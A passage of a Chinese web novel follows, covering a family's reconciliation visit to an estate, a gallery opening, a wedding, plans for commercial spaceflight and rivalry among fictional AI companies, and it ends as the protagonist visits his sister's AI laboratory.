巨大的、空旷到足以产生回声的客厅，被重新规划，一整面墙都变成了顶天立地的书架。 另一边，则是铺着厚厚羊毛地毯的、专属于陆时安的儿童游戏区。 陆沉渊没有插手任何具体的设计。 他只是在她画图到深夜时，为她披上一件柔软的毯子，递上一杯温度刚刚好的温牛奶。 安静地站在她身后，用他沉稳的存在给予她无声的支持。 在房子装修的这一段时间里，陆沉渊一家搬到了楼下，住进了原来墨清漓的那套公寓。 陆时安小朋友，在父母的精心呵护下一天天长大。 他已经能扶着沙发围栏，摇摇晃晃地站起来。 每天最喜欢的事情，就是看着母亲在地板上铺开巨大的图纸，用彩色的铅笔在上面涂涂画画。 然后，他会伸出肉乎乎的小手，咿咿呀呀地，试图抓住那些在他眼中流动的、奇妙的线条和色块。 世界的喧嚣，似乎被隔绝在了这片小小的天地之外。 渊龙科技的首席战略顾问，每天最重要的工作，是精准计算儿子奶粉的配比，和反复测试不同品牌尿布的吸水性。 墨氏集团那位说一不二的女王，最大的乐趣，是为新家规划每一个插座的位置，和为了挑选窗帘的颜色而陷入甜蜜的烦恼。 他们都乐在其中，甘之如饴。 这天下午，阳光正好，透过落地窗洒下一地金黄。 墨清漓看着在游戏区里努力学习爬行的儿子，忽然开口道， “阿渊，我们回一趟陆家庄园吧。” 陆沉渊正在看一份关于全球新能源市场最新的分析报告。 闻言，他抬起头，眼中没有丝毫意外。 有些事情，终究需要一个正式的告别。 “好。”他温和地应道。 墨清漓看着他，补充了一句：“带上安安。” 让他去见见，那个血缘上被称为爷爷的人。 也让他，看看自己的父亲，曾经生长的地方。 陆沉渊点了点头，心里升起一股暖流。 清漓总是这样，不动声色地，体谅着他内心最深处的、未曾言说的想法。 其实陆沉渊对陆家庄园，对陆明业并没有什么感情。 只是，似乎原身的身体记忆还有残留似的，对那个地方依然有些不一样的情感。 而且，对于陆时安来说，是应该见见爷爷了。 长辈们的爱恨情仇，和陆时安并没有太大关系。 …… 第二天。 一辆黑色的“无距”平稳地驶离市区，进入了通往西郊的专用公路。 窗外的景色，从林立的摩天高楼，渐渐变成了开阔的绿地和连绵的远山。 陆时安坐在他的专属安全座椅里，漂亮的大眼睛好奇地看着窗外飞速掠过的风景。 墨清漓坐在他旁边，手里拿着一个拨浪鼓，轻轻摇晃着吸引他的注意。 陆沉渊安静地开着车。 一个小时后，车子在一座宏伟的庄园大门前缓缓停下。 黑色的雕花铁艺大门上，镶嵌着陆家古老的家徽，在阳光下显得肃穆而威严。 这里，就是陆家庄园。 曾经京州最顶的级豪门府邸之一。 大门无声地向两侧滑开。 车子驶入，沿着长长的林荫道向前行驶。 道路两旁，园林，喷泉，雕塑，以及一望无际的草坪。 一切，都和陆沉渊之前的记忆中一样宏伟，壮丽。 也一样的，冰冷，没有人气。 车子在主建筑前的喷泉广场停下。 老管家虞伯早已等在门口。 看到陆沉渊从驾驶位上下来，虞伯明显有些激动， “大少爷，您回来了。”他的声音带着一丝颤抖。 而且，对虞伯来说，眼前的大少爷，似乎有些陌生了。 从陆沉渊搬离陆家庄园之后，陆沉渊就再也没有回来过了。 这中间已经有七八年了。 “虞伯。”陆沉渊点了点头。 对原身来说，这位看着他长大的老管家，是这座冰冷庄园里为数不多的温情记忆。 墨清漓抱着陆时安，也下了车。 虞伯的目光，立刻被那个小小的婴孩吸引了过去，脸上露出了真切而慈祥的笑容。 “这是……小小少爷吧。” “嗯，他叫陆时安。”墨清漓微笑着说。 “哎，好，好，好名字。”虞伯连声应着。 “先生在书房。”他最终低声说了一句。 陆沉渊和墨清漓对视了一眼。 “我们自己进去就行，虞伯您去忙吧。”陆沉渊说。 他从墨清漓怀里接过儿子，小心地抱在怀里。 然后，迈上冰冷的汉白玉台阶。 穿过巨大的、空旷到能听见自己脚步回声的门厅，走过挂满名画的长长走廊。 这里的一切，都维护得很好，一尘不染，光可鉴人。 但太安静了。 陆沉渊的脚步，忽然停在了二楼的走廊。 “怎么了？”墨清漓轻声问。 “带你转转。”陆沉渊的目光，扫过走廊两侧，那一扇扇紧闭的房门。 陆沉霄、陆沉晏、陆沉津的房间，都已经空置下来了，每个房间依然每日清扫。 三人路过陆芊芊的房间时，发现陆芊芊的房门半掩着，能够清晰地看到里面的光景。 粉色的纱幔，巨大的玩偶，衣帽间里挂满了奢侈品牌。 “芊芊的房间。” 墨清漓看着这间被宠爱堆砌起来的房间，再想起之前视频里，那个在阳光下，被孩子们簇拥着，笑得一脸灿烂的姑娘。 “她找到了比公主裙，更适合她的东西。”墨清漓轻声说。 “是啊。”陆沉渊点头。 他关上门，将那些过往重新封存起来。 最后，三人来到走廊的另一侧。 那里有一扇和他几个弟弟房间并无二致，却更显厚重的门。 “那是我的房间。”陆沉渊说道。 然后他推开门，整个房间的基调，似乎和原来的云顶壹号相差不大。 所有家具都是最简洁的线条，每一件物品都摆放在最精准的位置。 唯一能体现个人痕迹的，是一整面墙的书架，上面密密麻麻地摆满了经济、金融、管理的精装书籍，没有一本闲书。 这里不像一个年轻人的卧室。 更像一个…精密仪器的陈列室，一个自律到近乎残酷的修行地。 墨清漓走了进去，指尖轻轻划过冰冷的书桌桌面。 这个房间里，没有一丝属于青春期的躁动和温情，只有沉甸甸的责任和孤独。 她看着抱着陆时安，眉眼间早已是温和与从容的陆沉渊。 再看着这个冰冷空旷的房间。 仿佛看到了两个时空的他，在此刻重叠。 她没有说话，只是走上前，轻轻帮他理了理抱着孩子而微皱的衣领。 然后，重新握住了他的手。 “这里曾经很热闹。”他转过头。 “有母亲偶尔的叹息，有弟弟们的争吵，有芊芊的撒娇。” “而现在，他们都离开了。” “母亲有了新的生活。弟弟们，在各自的领域里，努力地发光。芊芊，在地球的另一端，追寻着她的理想和远方。” 这里，只剩下一个时代的背影和尘埃。 第146章 尘埃 陆沉渊很快带墨清漓参观完兄妹几个曾经生活过的地方，然后来到了陆明业的书房前。 书房的门虚掩着。 陆沉渊推开门。 一股陈旧的，混杂着顶级雪茄和书墨的味道，扑面而来。 陆明业正坐在一张巨大的，象征着权力的红木书桌后面。 他正在看一份文件，似乎以此来掩饰自己的紧张。 听到声音，他抬起头。 看到陆沉渊，他的眼神没有太大的波澜，仿佛他只是出了一趟远门刚刚回来。 然后，他的目光越过陆沉渊，看到了他怀里抱着的那个小小的孩子。 陆明业的身体，瞬间僵住了。 他几乎是下意识地摘下眼镜，缓缓站起身。 他的目光，盯着陆时安那张粉雕玉琢的小脸。 那张脸上，有陆沉渊的影子，也有墨清漓的轮廓。 更有着，无论如何也无法抹去的属于陆家的血脉的烙印。 陆明业的嘴唇，微微颤抖。 他想说什么，喉咙却像是被什么东西堵住了一样，发不出任何声音。 “父亲。” 陆沉渊平静地开口。 墨清漓也跟着，微微颔首。 “父亲。” 陆明业的视线，终于从孩子身上艰难地移开，落在了陆沉渊和墨清漓脸上。 他看着自己这个无比优秀的儿子。 看着他身边，那个同样优秀、气度不凡的儿媳。 看着他们一家三口，和谐地站在一起的模样。 一种无比复杂的情绪涌上了陆明业的心头。 有尴尬，有羞愧，有不知所措。 但更有一种，迟来了太久的丝丝悔意。 “……回来了。”他终于，从喉咙里挤出几个字，声音干涩沙哑。 “嗯。” “坐吧。”他指了指一旁沙发。 虞伯适时地端着新沏好的茶和精致的茶点进来。 四个人，隔着一张沉重的茶几相对而坐。 气氛，再次陷入了凝滞。 打破沉默的，是陆时安。 他似乎感觉到了气氛的僵硬，在陆沉渊怀里动了动。 陆时安忽然伸出小手，咿咿呀呀地指向陆明业的方向。 陆明业的心，似乎是被这一只小手猛地攥了一下。 他下意识地伸出手，似乎想去抱他。 手伸到一半，却又猛地停在了半空中。 然后，无比尴尬地缓缓收了回去。 他不知道，该怎么面对这个孙子。 墨清漓看出了他的局促和渴望。 她微笑着，对怀里的儿子轻声说， “安安，看，那是爷爷。” 陆时安自然不会说话，只是好奇地，用他那双清澈无邪的眼睛，看着眼前这个陌生的老人。 “爷爷”这两个字，触动了陆明业心上的某个地方。 他的眼眶，忽然有些控制不住地发热。 他狼狈地别过头，端起茶杯，喝了一大口试图掩饰自己的失态。 …… “柳眉和她的孩子，现在生活得很好。” 陆沉渊忽然开口，声音平静，像是在陈述一个与己无关的事实。 陆明业端着茶杯的手，猛地一抖，茶水洒了一些出来他却毫无察觉。 他抬起头，错愕地看着儿子。 自从厉修剑落网，柳眉亲口说出，她从未爱过他，一切只是为了任务，刻意迎合后。 陆明业的世界，就崩塌了一半。 他引以为傲的爱情，他甚至不惜为此伤害家人的“真爱”，不过是一场精心策划的骗局。 他成了一个彻头彻尾的笑话。 从那以后，他再也没有去联系过柳眉母子。 “渊龙的慈善基金，在他们居住的小区附近，资助了一个社区服务中心。” 陆沉渊继续说，语气没有任何波澜。 “她现在，是那里的全职社工。收入不高，但很稳定。那个孩子，也上了公立学校，和普通孩子没什么两样。” 他只是在告诉父亲，那对母子，已经被安置在了一个安全、平静的轨道上。 远离豪门恩怨，也不会再来打扰任何人。 “我不会去干涉他们的生活。” 陆沉渊看着父亲的眼睛，给出了一个承诺，“以后也不会。” 陆明业缓缓放下了茶杯。 他看着眼前的儿子。 这个儿子，比他想象的，要更冷静，也更……宽厚。 他以为，陆沉渊会用这件事来羞辱他，报复他曾经的愚蠢和背叛。 但他没有。 他只是用最平静、最体面的方式，为这段错误的往事画上了一个句号。 “父亲。”陆沉渊看着他，看着他不知不觉间，已经花白的头发和眼角深刻的皱纹。 “人生，是一场很长的马拉松。” “一切，其实都未曾结束。” 陆明业彻底愣住了，他呆呆地看着陆沉渊。 他忽然发现，自己好像从来没有真正了解过这个儿子。 他一直以为，陆沉渊的冷静是天生的冷漠。 他的强大，是骨子里的无情。 直到此刻，他才终于明白。 在那份冷静和强大的背后，是一种他这个做父亲的，从未拥有过的巨大的格局和温柔。 那是一种真正扛起过如山责任，真正见识过天地广阔后，才能拥有的不动声色的力量。 而他自己，这个父亲当得是多么的失败、多么的可笑。 一行浑浊的泪，终于再也控制不住从陆明业苍老的眼角滑落。 …… 离开陆家庄园时，夕阳正红，染红了半边天。 陆明业坚持把他们送到门口。 他站在高高的台阶上，看着那辆黑色的车子缓缓远去，转过林荫道的尽头。 直到再也看不见。 他才转过身，看着身后这座宏伟、壮丽，却又空旷、死寂的庄园。 忽然觉得，自己从未如此孤独过。 也从未如此轻松过。 车里，陆时安已经睡着了，发出均匀的呼吸声。 墨清漓伸出手，轻轻握住了陆沉渊放在方向盘上的手。 她什么也没说。 但陆沉渊知道，她都懂。 他反手，握紧了她的手。 掌心，温暖而柔软。 “都过去了。”他说。 “嗯。”墨清漓应了一声，目光望向前方。 车子汇入了回城的璀璨车流。 一个有关陆家庄园的旧的时代彻底结束了。 第147章 人间和星辰 京州南郊老街区。 一栋翻修过的青砖老宅，挂上了红绸。 王通文将他的画廊，从海州搬到了京州。 这里是新的开始。 开张这天，画廊里宾客云集。 京州文化界、艺术界的名流，几乎都到了。 陆沉渊推着婴儿车，和墨清漓一起穿过人群。 陆时安小朋友坐在车里，睁着大眼睛，好奇地打量着这个新奇的世界。 王通文一身改良式唐装，快步迎了上来。 他整个人精神焕发，儒雅中透着喜气。 “阿渊，清漓，你们来了。”他如今对陆沉渊的称呼，亲近了许多。 “王叔，恭喜。”陆沉渊伸出手。 “恭喜王叔叔。”墨清漓微笑着。 “快，里面请。”王通文的目光，落在了陆时安身上，笑得合不拢嘴。 画廊里光线柔和，墙上挂满了画。 这些画，色彩温暖，笔触细腻，画的都是些生活里的寻常景物。 一束阳光下的尘埃，窗台上打盹的猫，雨后湿漉漉的石板路。 画展的名字，叫《新生》。 画的作者，是楼梦玲。 陆沉渊一眼就看到了母亲。 她站在画廊中央，穿着一袭素雅的旗袍，长发松松地挽着。 她在和几位艺术评论家交谈，脸上是从容而自信的光彩。 没有了陆家夫人的身份枷锁，没有了婚姻的怨怼。 她不再是任何人的附庸。 她只是楼梦玲，一个重新拿起画笔，找到了自己的画家。 “妈。”陆沉渊走上前。 楼梦玲回过头，看到他们时，眼睛瞬间亮了。 “阿渊，清漓，安安。”她笑着走过来，抱起了陆时安。 小家伙对奶奶可太熟悉了，伸出小手，抓住了奶奶胸前的一枚玉石别针。 “哎哟，我的小宝贝。”楼梦玲笑得开怀。 墨清漓看着这一幕，嘴角也勾起笑意。 她能感觉到，婆婆是真的是脱胎换骨了。 那种由内而外散发的，被爱和自我价值滋养的安宁，骗不了人。 王通文很自然地站到楼梦玲身边。 他没有多余的话，只是在楼梦玲和朋友交谈时，为她换上一杯热茶。 在有人对画作提出刁钻问题时，他会恰到好处地，用专业的角度解围。 他们的互动，没有惊天动地的誓言。 只有这种，平淡的默契和守护。 陆沉渊看到这一幕，心中的一块石头落了地。 母亲幸福了。 他这个做儿子的，也就真的放心了。 他牵起墨清漓的手，轻轻捏了捏。 墨清漓回头，对他笑了笑。 …… 一个星期后。 京州大学，一个不对外开放的小礼堂。 陆若溪和苏阳的婚礼在这里举行。 没有媒体，没有铺张的排场。 只有简单的鲜花，和温暖的灯光。 到场的，都是至亲好友。 苏阳的母亲，楼梦玲作为双方家长到场。 陆沉渊和墨清漓带着陆时安，也坐在第一排。 陆沉霄、陆沉晏、陆沉津也带着各自的伴侣到了。 陆芊芊远在中东，通过视频连线送上了她的祝福。 视频里，她晒黑了，也瘦了，但眼神明亮得像星星。 她的身后，是一群不同肤色的孩子，正笑着冲镜头挥手。 墨家那边，墨振邦和林书函亲自到场。 还有两个身份比较特殊的老人。 陆若溪的师父陈璟之，以及血缘上的爷爷陆承嗣。 渊龙科技的任茜、林远等核心高管，也都来了。 最引人注目的，是几位特殊的客人。 他们穿着朴素，气质沉稳，坐在一个不起眼的角落。 但所有人都知道，他们来自红墙。 他们的出席，本身就是一种最高级别的认可。 婚礼进行曲响起。 陆若溪挽着陆沉渊的手臂，缓缓走上台。 她今天穿着一身简约的白纱，没有繁复的装饰。 脸上化着淡妆，清冷与纯粹，却美得惊人。 苏阳站在台上，看着她走来。 他的眼神，温柔得能滴出水来。 从安河县的那个教室，到京州大学的实验室。 从她身后的追赶者，到与她并肩的同行人。 这条路，他走了十年。 今天，他终于等到了。 陆沉渊将妹妹的手，交到苏阳手中。 “苏阳，若溪以后，就交给你了。”他的声音郑重。 “哥，你放心。”苏阳紧紧握住陆若溪的手，回答得无比坚定。 ………… 婚礼结束后，晚宴设在学校的教职工餐厅。 陆若溪端着一杯果汁，拉着苏阳，走到陆沉渊和墨清漓面前。 “哥，嫂子。” “谢谢你们。”她看着陆沉渊，眼中有泪光闪烁。 这声谢谢，包含了太多。 是当初在安河县的资助，是后来的一路扶持，是让她摆脱原生家庭泥潭的引导； 更是，让她拥有选择自己人生的底气和自由。 “傻丫头。”陆沉渊温声说道。 “你值得这一切。” 他看向苏阳。 “好好对她。” “我会的。”苏阳点头，目光从未离开过陆若溪。 …… 夜色已深。 云顶壹号，顶层。 经过几个月的施工，这里已经彻底变了模样。 曾经那个冰冷、空旷的堡垒，消失了。 取而代之的，是一个真正的“家”。 温暖的胡桃木墙壁，顶天立地的书架墙上，塞满了各种书籍。 柔软的羊毛地毯上，散落着陆时安的玩具。 客厅的灯光，是墨清漓亲自调试的，柔和而温暖。 陆时安已经在婴儿房里睡熟。 陆沉渊和墨清漓，坐在沙发上。 墨清漓靠在陆沉渊的肩头，手里拿着一个平板，上面是公司的报告。 “秦雅的‘锋芒’，在欧洲的市场份额，又涨了三个点。”她轻声说。 “思特拉的‘普罗米修斯’，刚刚发布了3.0版本，主打企业级定制服务，来势汹汹。” “渊龙的‘开天’，虽然在国内领先，但在国际市场上，压力越来越大。” 她的语气很平静，只是在陈述事实。 商场如战场，片刻都不能松懈。 陆沉渊点了点头，没有说话。 他拿过遥控器，将客厅的灯光，调得更暗了一些。 巨大的落地窗外，京州的夜空，繁星点点。 “清漓。”他忽然开口。 “嗯？” “你觉得，我们在蓝星上，是不是太挤了？” 第148章 星辰之约 “你觉得，我们在蓝星上，是不是太挤了？” 听到陆沉渊的话，墨清漓的心猛地一动。 她抬起头，看向他，他的眼神深邃得像窗外的夜空。 “市场上的竞争，就像一场拥挤的赛车。”陆沉渊缓缓解释。 “所有人都挤在同一条赛道上，盯着对手的尾灯，拼命踩油门。” “跑得越快，离得越近，就越容易撞车。” “我想，在这个世界上，再增加一些赛道。” 墨清漓顺着他的目光，望向遥远的星河。 她的心，也跟着他的思绪飞向了那片未知的黑暗。 “航天？”她轻声问，声音里带着一丝不确定， “可是，运载火箭，太空探索，那些不都是国家队的事吗？” 这几乎是所有人的共识。 航天是国之重器，是私人资本绝对不敢、也不能触碰的禁区。 “以前是。”陆沉渊笑了笑，笑容里带着一丝神秘。 “但时代变了。而且，A国的民用航天其实已经早早就起步了。” 他转过头，认真地看着墨清漓。 “我从红墙回来，带回来的，不只是一份荣誉。” “更是一份，不为外人道的使命。” 墨清漓的呼吸，瞬间屏住。 她终于明白，为何他归国后，会选择“首席战略顾问”这样一个抽身事外的职位。 他不是要退。 而是要进，向一个无人想象过的领域前进。 “国家队要造的，是星际远征，目标是载人登月，是火星基地，是更遥远的深空。”陆沉渊平静地说道。 “而我，要去做的，是把去太空的成本，降下来。” “我要造的，是太空的‘高速公路’，是廉价、可靠的‘宇宙飞船’。” “我要让太空，不再是少数科学家的专属。” “我要让它，成为下一代企业家，可以竞争的新大陆。” 陆沉渊每说一句，墨清漓的心，就跟着震动一下。 她彻底明白了。 他要做的，不是跟在国家队后面敲敲边鼓。 他是要以一己之力，开启夏国的商业航天时代！ 这个野心，何止是石破天惊！ “国家队开路，我们铺网。” 陆沉渊站起身，走到巨大的落地窗前，张开双臂，仿佛要拥抱整个星空。 “他们负责探索未知，我们负责将这条路变得繁荣。” “当有一天，我们的飞船，能像航班一样，定期往返于天地之间。那时候，地球上的这点市场份额，又算得了什么？” 墨清漓也站起身，走到他身边。 她看着丈夫的侧影，心中充满了前所未有的震撼和豪情。 这才是她的男人。 当所有人都还在地球这口小池塘里厮杀时，他的目光早已投向了整片星辰大海。 “这条路，很难。”她说。 “我知道。” “要烧掉的钱，会是天文数字。” “我知道。” “但总要有人，开始走。”陆沉渊转过头，看着她，眼神里带着期盼和邀请。 “清漓，造火箭，需要全世界最好的新材料。” “而墨氏，就是最好。” 墨清漓笑了，笑容灿烂而夺目。 她知道他的意思。 他不是在要求，而是在邀请。 邀请她，成为这个足以改变人类历史进程的，宏伟计划的合伙人。 “我陪你。”她伸出手，紧紧握住他的手。 一如三年前，在J国，被困于牢笼之时，她许下的那个简单的承诺。 “好。”陆沉渊反手，将她柔软的手包裹在掌心。 又是一个周末，云顶壹号，顶层。 清晨的阳光，穿过巨大的落地窗，洒在开放式厨房里。 陆沉渊系着围裙，神情专注。 他面前的平板上，放着的是一份营养学报告。 旁边，是一本摊开的关于儿童辅食的食谱。 曾经那个在商界翻云覆雨，搅动全球资本市场的男人，如今最大的挑战，是让儿子多吃一口胡萝卜泥。 此刻的陆沉渊正认真地，用小勺一点一点碾着胡萝卜泥。 动作小心翼翼，仿佛在处理一件，比芯片光刻还要精密的仪器。 不远处的餐桌旁，墨清漓已经结束了晨练。 “首席战略顾问先生，”她调侃道，“今天的战略目标，是什么？” “攻克西兰花高地。”陆沉渊头也不抬，用勺子舀起一点米糊，放在唇边试了试温度。 “祝你好运。”墨清漓笑着，转身走到客厅的沙发坐下。 她打开平板，屏幕上是墨氏集团几封最核心的加密邮件。 即便她已将大部分日常事务交给了团队，但一些关乎集团未来走向的战略决策，仍需她亲自拍板。 她的神情依旧冷静、干练。 但眉宇间，多了一丝从前没有的柔和。 两人一个在厨房，一个在餐桌旁。 没有交谈，却有一种无声的默契在流淌。 阳光透过巨大的落地窗，将两人的身影拉得很长。 “咿呀。” 地毯的游戏区里，陆时安小朋友扶着围栏，摇摇晃晃地站着。 他看着厨房里的爸爸，和餐桌旁的妈妈，发出了快乐的声音。 这个曾经冰冷的顶层空间，如今充满了烟火气。 “早餐好了。” 陆沉渊端着餐盘走过来。 两杯豆浆，两个煎饼培根卷，还有一小碗他亲手做的胡萝卜泥。 墨清漓合上电脑。 她很自然地，拿起煎饼，咬了一口。 “味道不错。”她评价道，“似乎比上次更好吃了。” “多谢夸奖。”陆沉渊笑了笑。 他坐下，开始专心致志地喂儿子吃辅食。 陆时安吃得很高兴，小嘴糊得到处都是。 陆沉渊耐心地，用湿巾为他擦拭。 之后是亲子时间。 小区楼下的中央草坪，成了他们的“主场”。 陆沉渊铺开野餐垫，墨清漓将陆时安从婴儿车里抱出来，放在垫子上。 小家伙已经能颤颤巍巍地爬几步，对草地上的蚂蚁和落叶，充满了无限的好奇。 陆沉渊坐在一旁，看着儿子探索世界，眼神柔和。 墨清漓则靠在他的肩头，滑动着平板上的新闻。 不远处，几个年轻的妈妈，小声议论着。 “你看，那好像是顶楼的一家人。” “男的真帅，女的也太过漂亮了。而且，这两人超有气质啊。” “不知道是做什么的，好像很有钱，但又挺接地气。” 在她们眼里，陆沉渊和墨清漓，只是一对长相出众气质超群的邻居。 没有人知道，这对“普通”的年轻夫妻，他们的每一个决定，都足以影响全球的产业格局。 第149章 浅水不养真龙 世界的变化，从未停歇。 墨清漓一边看着前面的丈夫和儿子互动的岁月静好，一边浏览着这个世界最新发生的事情。 屏幕上，一条加粗的标题，格外醒目。 “A国逆全球化战略受挫，夏国引领新一轮多边合作时代开启”。 新闻的配图，是几天前在某个国际峰会上，夏国代表与多个国家签署合作协议的画面。 照片的背景里，能看到渊龙科技、墨氏集团、秦氏集团等企业的标志。 他们三年前撒下的种子，如今已汇聚成一股足以改变世界格局的洪流。 “我们赢了。”墨清漓轻声说。 “只是第一局。”陆沉渊的目光，依然追随着儿子的身影。 “接下来，才是真正的硬仗。” 墨清漓点点头，她明白他的意思。 外部的封锁被打破，意味着内部的竞争，将进入一个全新的也更残酷的阶段。 她继续往下翻。 很快，另一条新闻，印证了她的想法。 “‘锋芒’人工智能大模型开始测试，性能卓越，各方反响热烈。” 新闻里，皇甫城逝穿着一身休闲衣服，脸上却是少有的成熟。 他站在发布会的舞台中央，给人一种自信而强大感觉。 他的身后，是“锋芒”模型展现出的，令人惊叹的实时演算能力。 几乎在同一时间，另一条快讯也弹了出来。 “国际巨头思特拉宣布，旗下‘普罗米修斯’大模型完成最终优化，即将在夏国市场全面推广。” 三条新闻，并排陈列。 渊龙的“开天”。 皇甫城逝的“锋芒”。 思特拉的“普罗米修斯”。 人工智能的赛道上，三足鼎立的格局，一夜之间，正式形成。 平静的湖面下，暗流汹涌。 “山雨欲来。”墨清漓关掉平板。 “是好事。”陆沉渊笑了笑，“至少，若溪不会感到孤独了。” 他看向不远处，正试图抓住一只蝴蝶，结果一屁股墩坐在地上的陆时安。 小家伙愣了一下，没有哭，而是自己撑着地，又摇摇晃晃地爬了起来。 陆沉渊的眼中满是赞许。 …… 下午。 张奇来了。 作为渊龙科技的现任CEO，他几乎是踩着风火轮冲进云顶壹号的。 他脸上是压抑不住的焦虑。 “陆总。”他甚至忘了改口。 “坐。”陆沉渊指了指沙发，自己则拿了一瓶水递给他。 墨清漓抱着睡着的陆时安，回了卧室。 客厅里，只剩下他们两人。 “陆总，您看到新闻了吧？”张奇拧开瓶盖，灌了一大口水。 “秦氏的‘锋芒’，几乎是贴着我们的成本线在抢市场。” “思特拉更狠，他们直接宣布，对部分企业用户，免费开放三个月。” “我们的份额，在被逐步蚕食。” “公司内部，现在人心惶惶。好几个核心的销售团队，都在问我，公司下一步，是不是要准备打价格战。” 张奇一口气，把心里的压力全倒了出来。 他看着陆沉渊。 这位渊龙曾经的，也是永远的掌舵人。 他希望能从他这里得到一个明确的指令，一个反击的冲锋的信号。 然而，陆沉渊只是平静地听着。 他的脸上，没有丝毫变化。 仿佛张奇说的是发生在另一家公司，另一个世界的故事。 “就这些？”陆沉渊问。 “……啊？”张奇愣住了。 “技术部门呢？”陆沉渊继续问，“他们怎么说？” “若溪总监和苏阳总监他们……好像一点也不急。”张奇的语气有些犹豫。 “他们说，‘锋芒’和‘普罗米修斯’的技术路线，和我们不同，各有优劣，是很好的参照物。” “他们最近，好像在讨论一个什么新的理论模型，说能从底层，解决目前大模型的一个通用瓶颈。我……我也听不太懂。” “那就对了。”陆沉渊点了点头。 “什么对了？”张奇更迷茫了。 陆沉渊站起身，走到巨大的落地窗前。 “张奇，你看楼下。” 张奇顺着他的目光看去。 楼下，是京州繁华的城市景观。 车水马龙，生生不息。 “几年前，这条路上，只有我们在跑。”陆沉渊的声音，很平静。 “我们跑得很快，也很孤独。” “现在，秦氏来了，思特拉也来了。这条路，一下子热闹起来了。” “他们追赶我们，模仿我们，甚至，想把我们挤出赛道。” 他转过身，看着依旧满脸困惑的张奇。 “你觉得，这是坏事吗？” 张奇张了张嘴，没说出话。 从公司经营的角度，这当然是坏事。 “不。”陆沉渊缓缓摇头。 “张奇，你要记住。” “一潭死水，养不出真龙。” “只有在最激烈的竞争中，才能诞生出，最伟大的技术，和最强大的企业。” “价格战，舆论战，这些都是最低级的手段。我们不玩。” “告诉团队，稳住阵脚。把所有的精力，都放在技术研发和用户服务上。” “让市场，去检验一切。” 陆沉渊的语气不重，却带着一种不容置疑的力量。 那是一种，站在更高维度，俯瞰全局的，绝对自信。 张奇看着他。 心中的焦虑和惶恐，在陆沉渊平静的目光中，一点点被抚平。 他忽然明白了。 陆总关心的，从来都不是一城一池的得失。 他要的，是整个夏国科技产业的繁荣生态。 在这个生态里，渊龙是引领者，但也需要，同样优秀的同行者。 “我明白了，陆总。”张奇站起身，深深地鞠了一躬。 然后就告辞离开。 陆沉渊关上门，将外界的喧嚣彻底隔绝。 公寓里，重新恢复了宁静。 墨清漓安置好熟睡的陆时安，从卧室出来。 “他来时，像迷航的船，走时，却像找到了灯塔。” 墨清漓走到陆沉渊身边，声音很轻，却一语道破了张奇前后的状态变化。 陆沉渊笑了笑，走到地毯边，俯身捡起陆时安刚才掉落的一个长颈鹿玩偶。 “他不是迷航。”陆沉渊将玩偶放回玩具箱里，语气平静， “他只是忘了，我们的池塘，养的不是好斗的锦鲤，是真龙。” “而龙，是不会满足于在池塘里争食的。” 墨清漓走到他身旁，很自然地从后面环住了他的腰，将脸颊轻轻贴在他的背上。 “池塘太小，太拥挤，是会内耗的。”她的声音，带着一丝赞同的笑意。 “嗯。”陆沉渊转身，将她揽入怀中，“所以，让他们打。” “打到疼，打到累，他们才会明白，这条路有多窄。” 他低下头，看着怀里的妻子。 “也才会，抬起头，看看我们正在为他们画的那片，更广阔的天空。” 墨清漓仰起脸，看着他深邃的眼眸。 她什么都没说，只是踮起脚尖，在他唇上，印下了一个温柔的吻。 第150章 独行和同行 自从京州大学小礼堂的婚礼后不久，陆若溪和苏阳确实遵从了陆沉渊的“命令”，度过了一段短暂而平静的蜜月时光。 他们像所有新婚夫妻一样，去旅行，去看电影，去逛街，去购物。 苏阳努力尝试着，带着陆若溪融入到普通人的生活节奏。 然而，对陆若溪来说，思想的奔流无法被轻易按下暂停键。 甚至，无法被按下暂停键。 也许在陆沉渊在安河县找到陆若溪的那一刻，陆若溪的命运，已然进入到另一个轨迹了。 一个注定孤独的轨迹。 蜜月一结束，她便几乎是迫不及待地回到了实验室。 苏阳一如既往地陪在她身边。 他明白，这间实验室，才是妻子的心安之所。 只是，苏阳还是把这个消息，第一时间告诉了陆沉渊。 陆沉渊则是有些无奈，也有些担心。 他担心妹妹，再次陷入那种不眠不休的近乎自我消耗的状态。 于是，陆沉渊决定去实验室亲自看看。 在一个阳光明媚的下午，超级奶爸陆沉渊，带着陆时安，来到了陆若溪的实验室。 他想用这种最柔软的方式提醒她， 人生，不只有代码和公式。 一辆黑色的“无距”新能源车无声地滑过林荫道，在一栋建筑前缓缓停下。 渊龙科技研究院，人工智能实验室。 陆沉渊解开安全带，回头看了一眼。 后座的儿童安全座椅里，陆时安已经睡着了，小脸上还挂着一丝笑意，似乎在做什么美梦。 他俯身，轻轻地将儿子抱了出来。 小家伙在他怀里，动了动，找了个舒服的姿势继续沉睡。 陆沉渊的动作很轻，脸上带着他自己都未曾察觉的温柔。 实验室的玻璃门自动滑开。 苏阳早已等在门口。 他穿着一件简单的白色T恤和牛仔裤，身上带着一股干净清爽的气息。 岁月褪去了他少年时的青涩，眼神变得沉稳而温和。 看到陆沉渊后，他快步迎了上来。 “哥。”他很自然地喊道。 目光落在陆沉渊怀里的陆时安身上时，他的眼神变得更加柔和。 “睡着了？”他压低了声音。 “嗯，刚睡着。”陆沉渊笑了笑，“若溪呢？” “在里面。”苏阳指了指实验室深处，“她这几天，好像……进入状态了。” 苏阳的用词很奇特。 不是说她很忙，或者在攻克难题。 而是说，她“进入状态了”。 陆沉渊点了点头，表示理解。 苏阳带着他往里走，穿过几道严格的安保门禁，眼前的空间豁然开朗。 这里不像一个传统的实验室。 更像一个，属于未来的思想殿堂。 巨大的挑高空间，纯白色的墙壁。 没有杂乱的线路，没有堆积如山的仪器。 只有一排排安静运行的黑色服务器阵列，散发着淡蓝色的辉光。 空气中，只有服务器水冷系统那如潮汐般低沉的潺潺声。 几十名研究员分散在各个区域。 没有人说话。 整个空间里，只有键盘时不时的敲击声。 每个人都沉浸在自己的世界里。 与代码、数据、逻辑，进行着无声的却又无比激烈的交锋。 在实验室的最深处，有一面几乎占据了整面墙的巨大数据屏。 屏幕上，流淌着瀑布般的数据流。 而在屏幕前，一个穿着白大褂的纤细身影正静静地站着。 她一动不动，仿佛一座正在与整个宇宙对话的雕像。 是陆若溪。 陆沉渊放慢了脚步。 他没有上前打扰。 苏阳从旁边，推过来一张带轮子的躺椅式婴儿床。 陆沉渊小心翼翼地将陆时安放了进去。 然后，他才走到陆若溪身边，他顺着她的目光看向那面数据瀑布。 那不是简单的代码，而是一种他完全无法理解的复杂的符号和公式。 它们以一种奇特的韵律在屏幕上生灭，组合，演化。 仿佛一个，正在自我孕育的逻辑生命。 